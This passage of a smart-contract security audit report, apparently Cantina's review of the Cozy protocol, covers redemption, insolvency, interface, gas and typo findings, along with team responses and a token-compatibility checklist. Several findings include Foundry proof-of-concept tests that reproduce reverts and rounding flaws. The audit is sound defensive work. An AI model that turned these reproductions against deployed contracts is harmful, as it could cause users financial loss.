        console.log("\n\ntest_completeRedeemRevert()");
        console.log("_____________________________________________________________________________________________
↪  ______________________________");
        _HelperCozyRouterRedeem(provider1, Set(address(contract_SetWETH)));
        MockTrigger(triggers[0]).mockState(MarketState.FROZEN);
        vm.warp(block.timestamp + 2 days);
        _HelperCozyRouterCompleteRedeem(provider1, Set(address(contract_SetWETH)));
    }
}
```

**Recommendation:** In order to enforce that redemption delay does not accrue when the set is frozen, update the set's inactive period data in the logic for when a market transitions to frozen, or out of frozen.

**Cozy:** Addressed in PR 133.

**Cantina:** Fixed.

### 3.3.4 `Set.updateMarketState(MarketState.TRIGGERED)` call could revert under specific conditions

**Severity:** Medium Risk

**Context:** Backstop.sol#L68

**Description:** Under the following conditions:

- Shortfall
- Approved set by backstop
- Backstop with 0 asset balance
- Revert on zero value token used as asset revert-on-zero-value-transfers

Trigger contract will never be able to call `Set.updateMarketState(MarketState.TRIGGERED)` as:

StateChanger.sol#L144-L150

```
if (shortfall_ > 0 && backstop.isApproved(self_)) {
  backstop.claim(shortfall_);
  // Update the accounting with the new assets from the claim.
  _oldAssetBalance = accounting.assetBalance;
  accounting.assetBalance += (asset.balanceOf(address(this)).safeCastTo128() - _oldAssetBalance);
  totalCollateralAvailableBeforeTrigger_ = _getCurrentTotalCollateralAvailable(currSetState_).safeCastTo128();
}
```

Backstop.sol#L57-L69

```
/// @notice Provide the caller with `amount_` of tokens, where `amount_` is a quantity of that set's underlying
/// `asset`. The caller must be a set approved for backstop claims.
function claim(uint256 amount_) external {
  ISet set_ = ISet(msg.sender);
  // Set approval statuses can only be updated by the manager, so we can trust that set_ is a valid set if it
↪  is
  // approved.
  if (!isApproved[set_]) revert Unauthorized();

  IERC20 asset_ = set_.asset();
  uint256 balance_ = asset_.balanceOf(address(this));
  emit Claim(set_, asset_, amount_);
  asset_.safeTransfer(address(set_), balance_ < amount_ ? balance_ : amount_); //@audit possible 0 transfer
}
```

**Recommendation:** Add an if code block that performs the `safeTransfer()` call only if the balance_ is higher than 0

**Cozy:** Addressed in PR 126.

**Cantina:** Fixed.

### 3.3.5 Interface inconsistencies

**Severity:** Medium Risk

**Context:** ISet.sol#L40-L42, ISet.sol#L174-L187, IPToken.sol#L30-L31, IDripDecayModel.sol, ICostModel.sol

**Description:** The following inconsistencies have been found around interfaces:

- `ISet`'s definition of the `claim()` function returns a `uint256` while the actual implementation returns `uint128`
- `ISet`'s definition of the `redemptions()` function has different returns values than the actual `Redemption` struct: There's no `delay` variable and the `shares` variable has a different data type.
- `IPToken` defines an external function called `inactiveTransitionTime()` which is not implemented in the actual `PToken` contract.
- The interfaces folder contains the interfaces of `IDripDecayModel` and `ICostModel` despite the fact that cozy-models-v2 is a dependency of the repository and could make use of the original interfaces without duplication.

**Recommendation:** Ensure that the interfaces are actually implemented in an accurate manner. When possible, have the implementation inherit the interface to have the compiler enforce this. Also avoid duplicating interfaces when possible as this creates the chance that not all interfaces are properly adjusted on changes and inconsistencies are created.

**Cozy:** Addressed in PR 140 and PR 138.

**Cantina:** Fixed.

### 3.3.6 Set owner unable to update configuration when insolvent

**Severity:** Medium Risk

**Context:** ConfiguratorLib.sol#L224-L230

**Description:** Set owner may only update the configuration in a manner that does not cause the utilization of any market to rise to and over 100%. This would create insolvent markets, meaning a market would not have enough collateral to cover its claims when triggered.

But the insolvency of markets can naturally occur from the fact that Sets may choose to use leverage, i.e., use the same collateral to cover multiple markets. In that case, a Set owner would now be unable to apply any changes to the configuration until enough new collateral has been supplied to ensure the solvency of all markets.

**Recommendation:** The business logic should be adjusted to allow Set owners to still be able to update the configuration in these extreme cases.

**Cozy:** We've implemented two change sets to address this:

1. Adding a boolean to `setConfig`, which specifies if a set's weight should be auto-rebalanced to 100% when a market triggers. The weight of the triggered market is distributed pro-rata among the untriggered markets PR 122.
2. Allow set owners to manually update configs on insolvent markets PR 125.

**Cantina:** Fixed.

#### 3.3.7 `_maxRedemptionRequest()` reverts when set is insolvent

**Severity:** Medium Risk

**Context:** AssetRedeemer.sol#L100

**Description:** The maximum amount that can be redeemed by a supplier is calculated as follows:

```
totalCollateralAvailable_ - _getMaxAssetsRequiredToBackMarkets()
```

Redemptions are not possible when a set is insolvent, in that case `totalCollateralAvailable_` will be smaller than the value returned by `_getMaxAssetsRequiredToBackMarkets()` causing the subtraction to revert.

**Recommendation:** Ensure that view functions such as `_maxRedemptionRequest()` do not revert whenever possible.

**Cozy:** Fixed with PR 121 by using `differenceOrZero()` to ensure that the function returns 0 instead of reverting.

**Cantina:** Fixed.

### 3.4 Minor (Gas)

#### 3.4.1 External library functions can safe gas with `calldata`

**Severity:** Minor (Gas)

**Context:** SupplySideLib.sol#L30-L35, DemandSideLib.sol#L39-L43, DemandSideLib.sol#L73-L77, ConfiguratorLib.sol#L92-L101

**Description:** When contracts use an external library function, these functions are delegate-called to. As with any external call, that means that the call's contents (unless it's a storage reference) can be found within `calldata`.

There are various places where structs are passed to an external library function. While the caller has little choice but to store structs they created within memory, the called external library function can access these structs via calldata. By avoiding the usage of the "memory" storage location, one can safe gas since Solidity now has no need to copy the struct from calldata to memory.

- `SupplySideLib`'s `executeDeposit()` function has a `ExecuteDepositMemoryParams memory depositParams_` parameter that can be adjusted to use calldata instead. This also requires the `previewDeposit()` function to be adjusted.
- `DemandSideLib`'s `executeSell()` function has a `ExecuteSellMemoryParams memory sellParams_` parameter that can be adjusted to use calldata instead.
- `DemandSideLib`'s `executePurchase()` function has a `ExecutePurchaseMemoryParams memory purchaseParams_` parameter that can be adjusted to use calldata instead. This also requires the `previewPurchase()` function to be adjusted.
- `ConfiguratorLib`'s `finalizeUpdateConfigs()` function has a `FinalizeUpdateConfigsMemoryParams memory finalizeParams_`, parameter that can be adjusted to use `calldata` instead. This also requires the `applyConfigUpdates()`, and `maxUtilization()` functions to be adjusted.

**Recommendation:** Consider making the suggested adjustments to obtain some gas saving requiring minimal change in code.

**Cozy:** Updated in PR 137.

**Cantina:** Fixed.

### 3.4.2 Collate and Re-order Set's storage vars

**Severity:** Minor (Gas)

**Context:** SetBaseStorage.sol, AssetRedeemer.sol#L32-L35, Configurator.sol#L13, StateChanger.sol#L22

**Description:** The existence of the `SetBaseStorage` module makes it appear as if all of a Set's storage variables are contained within this single file. But in actuality, more storage variables are distributed throughout the codebase.

Due to the large number of modules that the Set inherits, the inheritance order prevents these storage variables from being packed. Furthermore, collating all storage variables into a single file allows reordering them in a manner that ensures optimal packing.

**Recommendation:** Consider collating all of Set's storage variables (aside from those that are separate from the Set's business logic such as LFT and Governable) and reorder them in a manner that optimizes access to storage slots when packed together.

One possibility would be to re-order the variables to produce the following storage slot layout:

`numFrozenMarkets(2) + lastDripTime(8) + asset(20) + setState(1)`

**Cozy:** We have decided to leave the location of storage variables as-is, as we find the current placement of storage variables helps with parsing and understanding the code (e.g. storing redemption variables in the `AssetRedeemer` abstract contract).

**Cantina:** Acknowledged.

### 3.4.3 Extra `SLOAD`s in loops

**Severity:** Minor (Gas)

**Context:**

- `owner` in Manager.sol#L191
- `markets.length` in FeeDripper.sol#L57

**Description:** These variables are not cached by the optimizer because there is an external call in that loop. The compiler cannot know if the external call will update that storage variable or not, so it won't lift it out of the loop.

**Recommendation:** Manually cache these variables prior to the loop, e.g.:

```
 function claimCozyFees(ISet[] calldata sets_) external {
+ address cachedOwner = owner;
  for (uint256 i = 0; i < sets_.length; i = i.inc()) {
-    (uint128 reserveAmount_, uint128 backstopAmount_) = sets_[i].claimCozyFees(owner, address(backstop));
+    (uint128 reserveAmount_, uint128 backstopAmount_) = sets_[i].claimCozyFees(cachedOwner, address(backstop)
);
    emit CozyFeesClaimed(address(sets_[i]), reserveAmount_, backstopAmount_);
  }
 }
```

**Cozy:** Updated in PR 139, PR 128.

**Cantina:** Confirmed.

### 3.4.4 Mixed use of `i++` and `i = i.inc()`

**Severity:** Minor (Gas)

**Context:** Manager.sol#L165, ConfiguratorLib.sol#L185, etc

**Description:** The `Manager` contract makes use of the `inc` function which performs an unchecked increment, however, it mixes this with use of `i++` elsewhere. Likewise in contracts such as `Backstop`, `CozyRouter`, and `ConfiguratorLib`.

Further, `inc` is an alias of `uncheckedIncrement` and both are used throughout the codebase.

**Recommendation:** For consistency, continue using the `inc` function where appropriate and consistently using one of `inc` or `uncheckedIncrement`.

**Cozy:** Updated in PR 158.

**Cantina:** Fixed.

## 3.5 Minor (Informational)

### 3.5.1 Utilization of untriggered markets can increase higher than 100% after a market is triggered

**Severity:** Minor (Informational)

**Context: Description:** The utilization of untriggered markets can increase higher than 100% after a market is triggered even if leverage is set to 1. Based on the following configuration:

```
uint32 constant LEVERAGE_FACTOR = 1e4; // 1
uint16[] public MARKET_WEIGHTS = [2500, 2500, 2500, 2500];
uint16[] public MARKET_PURCHASEFEES = [100, 100, 100, 100];
uint16[] public MARKET_SALEFEES = [100, 100, 100, 100];
```

Test:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

/**
forge test -vvvv --match-contract TestFreePurchase --match-test test_freePurchase1
*/

import "./MultipleMarkets/EnvMulHelpers.t.sol";

contract TestFreePurchase is EnvMulHelpers {

  address public buyer1 = vm.addr(10000);
  address public buyer2 = vm.addr(20000);
  address public buyer3 = vm.addr(70000);
  address public buyer4 = vm.addr(80000);
  address public provider1 = vm.addr(30000);
  address public provider2 = vm.addr(40000);
  address public provider3 = vm.addr(50000);
  address public provider4 = vm.addr(60000);

  function setUp() public virtual {
      console.log("setUp()");
      // All the project is deployed
      _deployMultipleMarkets();
      deal(address(contract_WETH), buyer1, 2000e18);
      deal(address(contract_WETH), buyer2, 2000e18);
      deal(address(contract_WETH), buyer3, 2000e18);
      deal(address(contract_WETH), buyer4, 2000e18);
      deal(address(contract_WETH), provider1, 1000e18);
      deal(address(contract_WETH), provider2, 1000e18);
  }

  function test_freePurchase1() public {
      console.log("\n\ntest_freePurchase1");
      console.log("_____________________________________________________________________________________________
↪  ____________________________");
      _HelperCozyRouterDeposit(provider1, Set(address(contract_SetWETH)));
      _HelperCozyRouterDeposit(provider2, Set(address(contract_SetWETH)));
      vm.startPrank(buyer1);
```

```
        uint256 remainingProtection;
        uint256 assetsNeeded_;
        console.log("\nBEFORE PURCHASE");
        for (uint16 marketId_; marketId_ < MARKETS; ++marketId_) {
            console.log("marketId_ -> %s", marketId_);
            console.log("utilization -> %s", Set(address(contract_SetWETH)).utilization(marketId_));
            console.log("remaining protection -> %s",
↪   Set(address(contract_SetWETH)).remainingProtection(marketId_));
        }
        for(uint16 i; i < MARKETS; ++i){
            remainingProtection = Set(address(contract_SetWETH)).remainingProtection(i);
            if(i == MARKETS - 1){
                remainingProtection = remainingProtection - 40;
            }
            (assetsNeeded_, ,) = contract_SetWETH.previewPurchase(i, remainingProtection);
            deal(address(contract_WETH), buyer1, assetsNeeded_);
            contract_WETH.approve(address(contract_CozyRouter), assetsNeeded_);
            console.log("\nCalling -> contract_CozyRouter.purchase(Set(address(contract_SetWETH)), i,
↪   remainingProtection, buyer1, type(uint256).max)");
            contract_CozyRouter.purchase(Set(address(contract_SetWETH)), i, remainingProtection, buyer1,
↪   type(uint256).max);
        }
        console.log("\nAFTER PURCHASE");
        for (uint16 marketId_; marketId_ < MARKETS; ++marketId_) {
            console.log("marketId_ -> %s", marketId_);
            console.log("utilization -> %s", Set(address(contract_SetWETH)).utilization(marketId_));
            console.log("remaining protection -> %s",
↪   Set(address(contract_SetWETH)).remainingProtection(marketId_));
        }
        vm.stopPrank();

        console.log("\nCalling -> MockTrigger(triggers[0]).mockState(MarketState.TRIGGERED)");
        MockTrigger(triggers[0]).mockState(MarketState.TRIGGERED);

        console.log("\nAFTER TRIGGER");
        for (uint16 marketId_; marketId_ < MARKETS; ++marketId_) {
            console.log("marketId_ -> %s", marketId_);
            console.log("utilization -> %s", Set(address(contract_SetWETH)).utilization(marketId_));
            console.log("remaining protection -> %s",
↪   Set(address(contract_SetWETH)).remainingProtection(marketId_));
        }
    }
}
```

This seems to be caused by a rounding error at a extreme case where an untriggered market has a very small amount of remaining protection.

**Recommendation:** Consider correcting this rounding error

**Cozy:** We acknowledge this issue, it's a side effect of rounding at an extreme case.

**Cantina:** Understood.

### 3.5.2 `CozyRouter.redeem()` / `withdraw()` should return Redemption Id

**Severity:** Minor (Informational)

**Context:** CozyRouter.sol#L323-L354

**Description:** Withdrawing assets from a Set is a two-step process under normal circumstances: First a redemption needs to be requested, and then after a delay has passed, it is possible to withdraw the requested amount. To finalize such a withdrawal process the Redemption Id is required, which is returned when the redemption is requested.

At the moment `CozyRouter`'s withdraw() and redeem() functions do not return this Redemption Id, potentially making it more difficult for the caller to finalize the redemption later.

**Recommendation:** Consider adjusting these functions to return the Redemption Id.

**Cozy:** The ID is emitted in an event, but we agree that it should also be returned. Addressed in PR 162.

**Cantina:** Fixed.

### 3.5.3 Found typographic errors and inconsistencies

**Severity:** Minor (Informational)

**Context:** CozyRouter.sol#L224, CozyRouter.sol#L392-L393, PTokenFactory.sol#L49, Set.sol#L103-L104, DemandSideLib.sol#L77-L104, ProtectionClaimer.sol#L22, ProtectionSeller.sol#L33-L51, SetBaseStorage.sol#L57, SetCommon.sol#L75, ConfiguratorLib.sol#L27-L37, ConfiguratorLib.sol#L158, RedemptionLib.sol#L38, RedemptionLib.sol#L206, MarketCalculationsLib.sol#L21 MarketCalculationsLib.sol#L123, SetConfig.sol#L10

**Description:** Here's a list:

- `CozyRouter`
  - Typo: CozyRouter.reedem -> CozyRouter.redeem
  - Typo: transffered -> transferred
  - Typo: purcahse -> purchase
- PTokenFactory
  - Inconsistency: salt() function casts `trigger_` to address but not `set_`
- Set
  - Confusing comment: `claimCozyFees()` is being passed the `backstop_` address to save gas by "removing calls and SLOADs", but Set already has the backstop address in an immutable variable needing neither.
- `DemandSideLib`
  - Typo: puchaseReturnData_ -> purchaseReturnData_
- `ProtectionClaimer`
  - Typo: equivialent -> equivalent
- `ProtectionSeller`
  - Typo: totalCollateralAvaialble_ -> totalCollateralAvailable_
- `SetBaseStorage`
  - Incomplete comment: "(during )"
- `SetCommon`
  - Typo: occured -> occurred
- `ConfiguratorLib`
  - Inconsistency: `MAX_FEE = (MathConstants.ZOC / 2) - 1;` here, but `uint256 public constant MAX_FEE = MathConstants.ZOC / 2;` in Manager
  - Grammar: "Validate a market cannot..." -> "A valid market cannot..."
  - Readability: Surround `MathConstants.ZOC * MathConstants.ZOC` with parentheses or replace with `MathConstants.ZOC2`
- `RedemptionLib`
  - Typo: mulitplied -> multiplied
  - Typo: accuulator -> accumulator
- `MarketCalculationsLib`
  - Typo: occured -> occurred
  - Typo: puchase -> purchase
- `SetConfig` struct
  - Confusing comment: "...all sets in a market..." -> "...of all markets in a set..."

**Recommendation:** Consider changing the listed issues to improve general code quality and readability.

**Cozy:** Addressed in PR 157 and PR 142.

**Cantina:** Fixed.

### 3.5.4 Calls to `Set.previewSale()` will revert for a `TRIGGERED` market

**Severity:** Minor (Informational)

**Context:** MarketCalculationsLib.sol#L58

**Description:** Calling `Set.previewSale()` on a TRIGGERED market will revert with `[FAIL. Reason: Arithmetic over/underflow]` Underflow occurs in exactly the following line: MarketCalculationsLib.sol#L58

Debugged parameters:

```
0000000000000000000000000000000000000000000000000de0b6b3a7640000 = 1000000000000000000 protection
0000000000000000000000000000000000000000000000005abaa5931f1fd0fa0 = 104603517766122409888
↪  totalCollateralAvailable
0000000000000000000000000000000000000000000000000000000000000000 = 0 effectiveActiveProtection
000000000000000000000000000000000000000000000000000000000000411d = 16669 leverageFactor
00000000000000000000000000000000000000000000000000000000000003e8 = 1000 weight
0000000000000000000000000000000000000000000000000000000000000000 = false isProtectionIncrease
```

`effectiveActiveProtection_ - protection_ = 0 - 1000000000000000000`

Test file:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

/**
    forge test -vvvv --match-contract TestPreviewSale
*/

import "./MultipleMarkets/EnvMulHelpers.t.sol";

contract TestPreviewSale is EnvMulHelpers {

    address public buyer1 = vm.addr(10000);
    address public buyer2 = vm.addr(20000);
    address public provider1 = vm.addr(30000);
    address public provider2 = vm.addr(40000);
    address public provider3 = vm.addr(50000);
    address public provider4 = vm.addr(60000);

    function setUp() public virtual {
        console.log("setUp()");
        // All the project is deployed
        _deployMultipleMarkets();
        deal(address(contract_WETH), buyer1, 100e18);
        deal(address(contract_WETH), buyer2, 100e18);
        deal(address(contract_WETH), provider1, 1000e18);
        deal(address(contract_WETH), provider2, 1000e18);
        deal(address(contract_WETH), provider3, 1000e18);
        deal(address(contract_WETH), provider4, 1000e18);
        _HelperCozyRouterDeposit(provider1, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider2, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider3, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider4, Set(address(contract_SetWETH)));
        _HelperCozyRouterPurchase(buyer1, Set(address(contract_SetWETH)), 0);
        _HelperCozyRouterPurchase(buyer2, Set(address(contract_SetWETH)), uint16(MARKETS - 1));
        vm.warp(block.timestamp + 2 weeks);
        vm.roll(block.number + 1);
    }

    function test_previewSaleRevert() public {
        console.log("\n\ntest_previewSaleRevert()");
        console.log("_____________________________________________________________________________________________
↪  ______________________________");
        MockTrigger(triggers[0]).mockState(MarketState.TRIGGERED);
        MockTrigger(triggers[MARKETS - 1]).mockState(MarketState.TRIGGERED);
        vm.warp(block.timestamp + 2 days);
        _HelperCozyRouterClaim(buyer1, Set(address(contract_SetWETH)), 0);
```

```
        _HelperCozyRouterClaim(buyer2, Set(address(contract_SetWETH)), uint16(MARKETS - 1));
        Set(address(contract_SetWETH)).previewSale(1, 1 * 10 ** 18);
        for (uint16 i; i < MARKETS; ++i){
            Set(address(contract_SetWETH)).previewSale(i, 1 * 10 ** 18);
        }
    }
}
```

**Recommendation:** Rather than a revert error, return a 0 value whenever a market is TRIGGERED and protection can not be sold.

**Cozy:** Addressed in PR 156.

**Cantina:** Fixed.

### 3.5.5 Nested function calls increase manual review difficulty

**Severity:** Minor (Informational)

**Context:** General

**Description:** The codebase is well modularized. There are testability benefits in how the team has separated out calculations and this reflects in the overall test coverage added prior to the security review.

There are drawbacks to some of the extreme cases where multiple functions have nested calls to another function before terminating. Manual review becomes more difficult as implementations are contextually removed from where their values are later consumed.

The team notes there bytecode restrictions as well, influencing some of the nesting, as is the case for some of the externally deployed libraries.

**Recommendation:** Where possible reduce complexity and reduce the amount of nested function calls.

To aid in internal team review, as well as external security reviews, continue supplementing with additional documentation wherever there is meaningful complexity. To assist reviewing for this security review some `PUML` diagrams were drafted and may be modified to suit your internal documentation: cantinasec/cozy/tree/docs.

**Cozy:** Acknowledged. We are limited in our ability to address this due to the bytecode limit, and thus won't be making any changes for this. Additionally as mentioned, we gain testability benefits with the current modularized architecture.

**Cantina:** Understood.

### 3.5.6 Remove unused code

**Severity:** Minor (Informational)

**Context:** CozyRouter.sol#L49, Manager.sol#L16, Manager.sol#L96, PToken.sol#L14, AssetDepositer.sol#L4-L26, AssetRedeemer.sol#L20, DemandSideLib.sol#L32, ProtectionClaimer.sol#L6-L8, SetBaseStorage.sol#L7, SetCommon.sol#L5, Configurator.sol#L4-L5, LFT.sol#L16, RedemptionLib.sol#L24-L47, SetCalculationsLib.sol#L16, ProtectionDecayer.sol#L11

**Description:** The following unused code has been identified:

- `CozyRouter` declares an `Unauthorized` error but never throws it.
- Manager imports Backstop but never uses it.
- Manager declares an `InvalidStateTransition` error but never throws it.
- `PToken` imports `SafeCastLib` but never uses it.
- `AssetDepositer` imports `DepositFees` struct, `FixedPointMathLib`, `SafeTransferLib`, and `FixedPointMathLib` but never uses them.
- `AssetRedeemer` imports `FixedPointMathLib` but never uses it.
- `DemandSideLib` imports `CozyMath` but never uses it.
- `ProtectionClaimer` imports `IPToken`, `CozyMath` but never uses them.

- `ProtectionDecayer` imports `SafeCastLib` but never uses it.
- `SetBaseStorage` imports `IPToken` but never uses it.
- `SetCommon` imports `ICommonEvents` but never uses it.
- `Configurator` imports `IConfiguratorErrors`, `IConfiguratorEvents` but never uses them.
- `LFT` imports `SafeCastLib` but never uses it.
- `RedemptionLib` declares constants `SUB_INF_INV_SCALING_FACTOR` and `MAX_SAFE_ACCUM_INV_SCALING_FACTOR_VALUE` but never uses them.
- `SetCalculationsLib` imports `FixedPointMathLib` for int256 but never uses it for this data-type.

**Recommendation:** Remove mentioned unused code to improve readability.

**Cozy:** Addressed in PR 135, PR 136 and PR 147.

**Cantina:** Fixed.

#### 3.5.7 Switch to vetted `SafeTransferLib` implementation

**Severity:** Minor (Informational)

**Context:** SafeTransferLib.sol

**Description:** The project currently makes used of a "SafeTransferLib" copied from the solmate repository. While no immediate problem could be found, there are several possible issues with it that should be considered:

- The assembly does currently not mask the addresses it passed as parameters during external calls, meaning dirty bits will become part of address arguments in the call which can cause issues under some circumstances.
- The optimizer will be unable to properly handle these assembly blocks since they're not marked as "memory-safe". The assembly does not follow the requirements laid out by Solidity's documentation to be regarded memory-safe as it is writing beyond the scratch space, overwriting both the free memory pointer and the zero slot.
- The copied version does not belong to solmate's audited v6, but is based on v7 which had some significant changes in both the assembly and general structuring of the code. In comparison, v6 made sure to properly allocate memory and was therefore more memory-safe than v7 (the "memory-safe" compiler flag did not exist during v6). The current version of `SafeTransferLib` in solmate's main branch has once again introduced changes to the assembly and actually returned to being memory-safe in order to mark the blocks appropriately.

**References:**

- Known issues due to the lacking masking of addresses
  - transmissions11/solmate/issues/346
  - transmissions11/solmate/issues/344
  - transmissions11/solmate/issues/346
- Solidity Documentation: Memory Layout
- Solidity Documentation: Memory Safety
- Solmate `SafeTransferLib` Differences between v6 and v7

**Recommendation:** We recommend considering to switch to a vetted and stable `SafeTransfer` implementation such as OpenZeppelin's SafeERC20 instead. With via-IR optimization enabled the difference in gas savings between these implementations might not actually be much. Furthermore the OpenZeppelin implementation avoids the usage of assembly which is a common source of errors.

**Cozy:** In the following PR 148 we're switching to OpenZeppelin's SafeERC20.

**Cantina:** Fixed.

### 3.5.8 Resolve compiler warning

**Severity:** Minor (Informational)

**Context:** ProtectionPurchaser.sol#L72-L97

**Description:** The compiler currently yields the following warning for Set:

But tests show that this is in fact a false positive. The code works as expected and the code is actually reachable.

The actual issue appears to be a compiler bug likely caused by the project's complex structure and inheritance model.

**Recommendation:** The function call causing this warning is `_getEffectiveActiveProtection(market_, setState_)` which a simple wrapper for a call to `MarketCalculationsLib.effectiveActiveProtection(market_, setState_)`. It's recommended to reduce the amount of wrapper function wherever a direct call to the appropriate library is possible. This will improve readability and false positive compiler errors caused by complexity.

**Cozy:** Addressed in PR 146.

**Cantina:** Fixed.

### 3.5.9 `_accrueDecay()` does not emit an Event

**Severity:** Minor (Informational)

**Context:** ProtectionDecayer.sol#L14-L40

**Description:** The Set's internal function `_accrueDecay()` is called from various places to "accrue decay", i.e., make the protection owner's positions loose an appropriate amount of value given the time that has passed. It does currently not emit an Event when this happens even though it seems like an essential sub-process within the system.

**Recommendation:** Consider emitting an Event whenever decay is accrued to ease off-chain monitoring.

**Cozy:** After ensuring that sufficient bytecode size is still available with the introduction of other fixes, we introduced the event in PR 167.

**Cantina:** Fixed.

### 3.5.10 `dripSupplierFees()` should emit an Event

**Severity:** Minor (Informational)

**Context:** FeeDripper.sol#L19-L6

**Description:** The Set's `dripSupplierFees()` public function is called internally as part of various processes within the system, but it can also be called directly. While it applies changes to the state it currently does not emit any Event which makes off-chain monitoring more difficult.

**Recommendation:** The general best practice is that state changing functions should emit appropriate events to allow off-chain tools to easily monitor for state changes.

**Cozy:** After ensuring that sufficient bytecode size is still available with the introduction of other fixes, we introduced the event in PR 167.

**Cantina:** Acknowledged.

### 3.5.11 Ensure `maxDeposit()` values always work

**Severity:** Minor (Informational)

**Context:** AssetDepositer.sol#L90-L93

**Description:** Although EIP4626 compatibility is not the goal of this system, the current implementation of `maxDeposit()` would seem more correct if it were restricted to `type(uint128).max`, as attempting to deposit more than that would always result in a revert from `SafeCast` as `accounting` storage is using `uint128`.

**Recommendation:** Ensure that `maxDeposit()` never returns a value that would cause an error when using it for a deposit in actuality.

**Cozy:** Fixed with PR 151.

**Cantina:** Fixed.

### 3.5.12 `CrazyRouter` does not consistently make use of `SafeTransferLib`

**Severity:** Minor (Informational)

**Context:** CozyRouter.sol#L61, CozyRouter.sol#L257, CozyRouter.sol#L272, CozyRouter.sol#L286

**Description:** There are several instances where the `CrazyRouter` contract does not make use of the functions that `SafeTransferLib` provides.

**Recommendation:** For the sake of consistency we recommend adjusting the mentioned places to use `SafeTransferLib` consistently.

**Cozy:** With moving to OpenZeppelin's SafeERC20 lib, we'll instead change this to use OpenZeppelin's Address lib for ether value transfers in PR 166

**Cantina:** Verified.

### 3.5.13 Document claiming prioritization when `Set` is insolvent (i.e multiple fully utilized markets trigger)

**Severity:** Minor (Informational)

**Context:** ProtectionClaimer.sol#L49-L55

**Description:** When multiple fully utilized markets trigger, claims become first come first serve as the set is technically insolvent. This is noted inline in code comments on the `previewClaim` function.

**Recommendation:** Consider one of the following recommendations:

1. Elevate the note to user docs so less technical protocol users are aware.
2. Assess the trade-off of the added complexity involved in scaling claims down to match solvency like with redemptions. Added complexity has the downside of increasing opportunity for error and general attack surface area.

**Cozy**: Cozy has decided to support scaling claims down to match solvency of the Set. The result is that all protection holders of a triggered market can claim based on the scaled down exchange rate of `PTokens` (receipt tokens received for purchasing protection from a market) at the time of trigger, based on the amount of assets available in the Set. This will also be mentioned in the public documentation. PR 152.

**Cantina:** Fixed.

### 3.5.14 Manager may perform updates without notice

**Severity:** Minor (Informational)

**Context:** Manager.sol#L124-L156

**Description:** Updates to fees, delays, caps, etc. may be performed by the `Manager.owner` without notice. The documentation notes these are trusted parties, leading to the low severity classification of this issue.

**Recommendation:** A two step propose/recommend process or a time-lock is recommended.

**Cozy:** For prod, the protocol owner (manager.owner) will be a time-lock (openzeppelin's `TimelockController`) with a multisig as the proposer

**Cantina:** Acknowledged.

# 4 Token Integration Checklist

| Attribute | Compatibility | Explanation |
|---|---|---|
| Optionality of decimals | Not compatible | The existence of the `decimals()` function is not a hard requirement for ERC20 tokens. Set's require assets to have decimals. |
| Rebasing balances | Not compatible | Sets make heavy use of internal accounting. When the balance of assets grows from rebalancing, this new balance will be available for a third party to claim by depositing it. If the asset's balance shrinks from rebalancing, the invariant that the actual balance must always be larger or equal to the internally tracked balance is broken. This would lead to the Set becoming insolvent. |
| Low to no decimals | Issues possible | The use of assets with a low number of decimals, or decimals of 0, might indicate that small numbers of the token (eg. 1 wei) are of substantial value. If that is the case, users of the Set must be informed about the possibility of loss by rounding down |
| High decimals | Issues possible | The use of assets with a high number of decimals might indicate that a large integer is necessary to represent any significant value. If that is the case, note that the Set's internal accounting uses `uint128`, restricting the maximum possible number of tokens that can be stored. |
| Forced transfer | Issues possible | If the admins in control of the asset can be trusted, it should be reasonable to integrate tokens even if there exists the possibility of a forced transfer (ie. admins can forcefully move anyone's balance). When a Set's assets are forcefully removed however, the Set will become insolvent. |
| Uncommon decimals type | Issues possible | Sets assume that the number returned by `decimals()` fits into a `uint8`. Assets returning numbers requiring types larger than that should not be used. |
| Fee on transfer | Issues possible | Tokens that take a fee on transfer (ie. the receiver will receive less than specified) do not appear to be causing any issues with a Set's internal accounting. However they may impact user experience since eg. `previewPurchase()` would return a price that does include the token's fee. The user would need to manually add this fee on top before transferring funds to the Set in order to make a successful purchase. |
| Token without success bools | Compatible | While the ERC20 standards requires a token's functions to return booleans to represent whether an action succeeded or not, many do not follow this standard. The protocol supports tokens that do not return such booleans (ie. usage of OpenZeppelin's SafeERC) |
| Blocklist | Compatible | The protocol's Set smart contract holds the user's assets in custody. Assuming that a Set contract itself is not added to a blocklist (ie. disabling transfers from the address), there's no issue. Even if any of the protocol's users are added to the asset's blocklist, they may simply specify a new address as `receiver_` to bypass this. |
| Pausable | Compatible | While an asset is paused (ie. all transfers are disabled), all protocol interactions requiring the movement of funds are unavailable. Everything else will continue to work as intended within a Set's internal accounting. |

| Attribute | Compatibility | Explanation |
|---|---|---|
| Multiple token addresses | Compatible | Tokens that have multiple addresses (also called Double-Entry-Tokens) do not appear to be able to cause any issues with the protocol. The Set exclusively uses the address that was specified as the asset (ie. there's no sweeping or rescuing function interacting with other token addresses). |
| Tokens with callbacks | Compatible Issues possible | Some token standards extend ERC20 and add callbacks/hooks that will dispatch a call to the receiver and/or sender of a transaction if they are a contract (eg. ERC777). This can allow for "reentrancy", ie. the receiver may re-enter the contract and exploit the fact that state has not been fully updated yet. The Set's `sell()` function currently updates the cost model only *after* the token transfer has completed, there is a possibility this could be exploited when an asset with callbacks is used (see separate finding). Note that this only applies if the Set has a market with a non-static cost model (ie. model actually makes use of `update()` function calls. |
| Limited amount size | Compatible | Some ERC20 tokens appear to allow transferring full integers (ie. `uint256`) but will in practice revert when a large transfer amount is specified. Thanks to the fact that all interactions involving token transfers with Set can be split into multiple calls (resulting in the same effect as a single call with a larger amount) this should not be an issue. |